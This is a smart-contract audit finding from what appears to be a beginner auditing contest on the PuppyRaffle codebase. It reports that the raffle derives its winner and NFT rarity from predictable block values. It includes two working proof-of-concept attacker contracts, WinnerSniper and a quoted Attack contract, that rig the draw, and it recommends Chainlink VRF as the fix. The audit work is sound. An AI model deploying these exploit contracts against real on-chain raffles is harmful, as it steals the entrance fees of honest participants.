Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-02] Weak randomness in selectWinner() winner can be predicted and manipulated

sharonkosgei4

Root + Impact

Description

  • selectWinner() derives the winner index and NFT rarity from on-chain values that are either chosen by the caller or known to the block proposer. This means the outcome can be calculated before the transaction is submitted.

@> uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % players.length;
​
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Any participant can deploy a contract that simulates the same hash and only calls selectWinner() when the result is favourable

  • Block proposers can manipulate block.timestamp within ~12 seconds to steer the outcome

Impact:

  • An attacker guarantees themselves the winner position and the entire prize pool every round

  • NFT rarity is equally controllable, the attacker always mints the rarest NFT

  • All honest participants lose their entrance fees

Proof of Concept

WinnerSniper replicates the same hash computation on-chain and only calls selectWinner() in the block where the result resolves to the attacker's index, guaranteeing a win.

contract WinnerSniper {
IPuppyRaffle target;
​
constructor(address _target) { target = IPuppyRaffle(_target); }
​
function snipe(uint256 myIndex, uint256 playersLength) external {
uint256 idx = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % playersLength;
require(idx == myIndex, "Not winning this block — try next");
target.selectWinner();
}
}

Recommended Mitigation

Replace on-chain entropy with Chainlink VRF v2, which separates the randomness request from its fulfillment, preventing any party from knowing the result before committing.

- uint256 winnerIndex = uint256(
- keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
- ) % players.length;
+ // Request randomness from Chainlink VRF; use the fulfillment callback to pick the winner
+ uint256 requestId = COORDINATOR.requestRandomWords(keyHash, subId, 3, callbackGasLimit, 1);
+ // Store requestId → resolve in fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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